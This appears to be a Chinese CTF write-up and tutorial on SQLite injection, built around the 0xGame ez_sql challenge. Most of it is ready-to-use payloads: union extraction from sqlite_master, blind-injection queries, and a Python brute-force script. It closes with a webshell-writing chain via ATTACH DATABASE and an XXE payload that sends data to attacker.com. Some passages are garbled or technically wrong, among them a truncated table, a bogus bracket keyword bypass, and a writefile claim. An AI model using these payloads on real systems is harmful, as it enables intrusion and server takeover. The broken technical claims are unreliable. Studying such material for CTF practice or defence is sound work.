SQLite注入实战:从0xGame靶场看与MySQL的5个关键差异点

SQLite注入实战:从0xGame靶场看与MySQL的5个关键差异点

在CTF竞赛和实际渗透测试中,SQL注入始终是最常见的安全漏洞之一。然而,当面对SQLite数据库时,许多熟悉MySQL注入的选手往往会感到困惑——为什么常用的information_schema查询失效了?为什么sleep()函数无法用于盲注?本文将以0xGame靶场中的ez_sql题目为例,深入剖析SQLite与MySQL在注入技术上的核心差异,并提供可直接复现的Payload示例。

1. 数据库架构的根本差异

SQLite与MySQL最显著的区别在于其架构设计。MySQL作为客户端-服务器模式的数据库,拥有完善的权限系统和多用户管理功能,而SQLite是嵌入式数据库,整个数据库就是一个独立的文件。

这种差异直接导致:

  • 无information_schema:SQLite使用sqlite_master作为元数据表,存储所有表结构信息。获取表名的典型Payload:

    id=1 union select 1,2,3,(select group_concat(tbl_name) from sqlite_master where type='table'),5
    
  • 单文件特性:攻击者可通过文件读取直接获取数据库文件(如/var/www/html/database.db),这在MySQL中几乎不可能实现。

实战技巧:当遇到SQLite注入时,首先尝试用sqlite_version()确认版本,不同版本的函数支持可能存在差异。例如3.35.0以上才支持json_extract()函数。

2. 关键函数的缺失与替代方案

SQLite缺少许多MySQL中常用的函数,这给注入带来巨大挑战:

MySQL函数SQLite替代方案示例Payload
sleep()复杂查询或随机延迟randomblob(100000000)制造CPU负载
if()CASE WHEN或IIF()CASE WHEN 1=1 THEN 1 ELSE 0 END
mid()substr()或substring()substr(flag,1,1)
concat()`

在0xGame的ez_sql题目中,通过以下Payload成功获取flag:

id=1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)

注意:SQLite的group_concat()有长度限制(默认1,000,000字节),大文本需分片获取。

3. 注释与语句分隔的特殊处理

SQLite对注释和语句分隔的处理与MySQL有显著不同:

  1. 注释符号

    • MySQL支持#-- /* */
    • SQLite仅支持--/* */,且--后必须跟空格
  2. 语句分隔

    -- MySQL可执行多语句
    SELECT 1; DROP TABLE users;
    
    -- SQLite默认关闭多语句,需特殊配置
    

CTF实战案例:当过滤单引号时,可利用SQLite的quote()函数:

id=1 union select 1,2,3,quote(flag),5 from flag

4. 布尔盲注的独特实现方式

由于缺乏sleep(),SQLite盲注需要创造性解决方案:

时间盲注替代方案

-- 通过复杂查询制造延迟
id=1 and case when substr(flag,1,1)='a' 
              then randomblob(100000000) else 1 end

布尔盲注技巧

-- 利用错误回显
id=1 and (select case when substr(flag,1,1)='a' 
                     then 1 else zeroblob(1000000000) end from flag)

0xGame实战Payload

# 自动化盲注脚本示例
import requests

url = "http://target.com/vuln?id="
flag = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}{"

for i in range(1,50):
    for c in charset:
        payload = f"1 and (select substr(flag,{i},1) from flag)='{c}'"
        r = requests.get(url+payload)
        if "content_marker" in r.text:
            flag += c
            print(flag)
            break

5. 高级注入技术的限制与突破

  1. 文件操作差异

    • MySQL:load_file()/into outfile
    • SQLite:.read.dump命令(需交互式shell)
  2. 命令执行

    • 纯SQLite无法直接执行系统命令
    • 需结合其他漏洞(如PHP的exec()
  3. 绕过过滤技巧

    -- 使用[]包裹关键字
    id=1 uni[on sel]ect 1,2,3
    
    -- 利用SQLite的灵活语法
    id=1 values(1,2,3,(select flag from flag))
    

最新研究:SQLite 3.39.0+支持json_tree()函数,可用于数据提取:

select json_tree((select * from flag)) 

为什么sqlmap在SQLite注入中经常失效

  1. 指纹识别问题:sqlmap默认优先检测MySQL/Oracle
  2. Payload库不足:缺少SQLite特有函数的利用方式
  3. 盲注策略不匹配:无法有效处理无sleep()的场景

手动注入优势

  • 精确控制查询结构
  • 利用SQLite特有语法
  • 绕过WAF/过滤更灵活

在0xGame题目中,组织方特意提示:"Do_not_Use_SqlMap!_Try_it_By_Your_Self",这正是为了锻炼选手的手动注入能力。

实战:从注入到RCE的完整链条

虽然SQLite本身不支持命令执行,但结合应用环境可能实现突破:

  1. 数据库文件下载

    -- 通过报错泄露路径
    id=1 and load_extension('non_existent')
    
    -- 返回类似:/var/www/html/db.sqlite
    
  2. 利用SQLite特性

    -- 创建恶意视图
    CREATE VIEW shell AS SELECT writefile('/var/www/html/shell.php','<?php system($_GET[cmd]);?>');
    
  3. 结合其他漏洞

    # 通过XXE+SQLite注入实现RCE
    import requests
    
    sql_payload = "1;ATTACH DATABASE '/var/www/html/rce.php' AS pwn;"
    sql_payload += "CREATE TABLE pwn.exp(data TEXT);"
    sql_payload += "INSERT INTO pwn.exp VALUES('<?php system($_GET[cmd]);?>');"
    
    xxe = f"""<?xml version="1.0"?>
    <!DOCTYPE rce [
      <!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/?id={sql_payload}">
      <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://attacker.com/?p=%payload;'>">
      %int;
      %trick;
    ]>"""
    

掌握这些差异不仅能提升CTF竞赛水平,更能帮助开发人员编写更安全的代码。建议在日常渗透测试中建立专门的SQLite注入检测方案,而非简单套用MySQL的测试用例。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值